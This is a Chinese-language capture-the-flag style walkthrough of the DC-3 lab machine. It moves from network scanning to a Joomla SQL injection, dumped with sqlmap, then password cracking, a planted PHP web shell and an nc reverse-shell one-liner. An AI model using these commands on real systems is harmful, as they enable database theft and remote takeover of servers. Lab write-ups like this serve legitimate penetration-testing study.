环境安装
下载地址:http://www.five86.com/downloads/DC-3-2.zip
信息收集
nmap扫描找到dc-3设备
nmap -sP 192.168.172.0/24
地址是192.168.172.134
kali的地址是192.168.172.132
进行更加详细的信息收集
nmap -A -sV -p- 192.168.172.134
发现80端口开着使用浏览器访问看一下80端口的内容
扫描一下敏感目录dirb
dirb http://192.168.172.134
获取到后台地址访问后台地址
发现joomla有一个sql注入的漏洞
cat 看一下
我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok抛出所有数据库
sqlmap -u "http://192.168.172.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
获取当前数据库的名字
sqlmap -u "http://192.168.172.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
joomladb下的所有表
sqlmap -u "http://192.168.172.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
获取joomladb的users表的字段名
sqlmap -u "http://192.168.172.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --column
第一个选项,直接回车使用默认的“Y”
第二个选项,使用“y”,不要使用默认的,不然会出错
第三个选项随意
第四个选项使用10线程
获取目标字段username和password
sqlmap -u "http://192.168.172.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
创建一个文件把这段密文写道文件里边使用john进行解密
使用这个用户名和密码去登陆网页
登陆成功发现一个上传端口templates-templates
点击beez3进入
newfile可以新建文件建一个一句话木马
在HTML文件下运行shell.php文件
一句话木马
使用蚁剑链接链接成功
在终端页面建立一个shell发现-e 参数无法使用建议使用
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.26.128 1234 >/tmp/f
使用python3 -c 'import pty; pty.spawn("/bin/bash")'优化一下命令界面
后面的提权借用的是DC-3渗透测试实战-CSDN博客
这个提权 就借用一下吧累了毁灭吧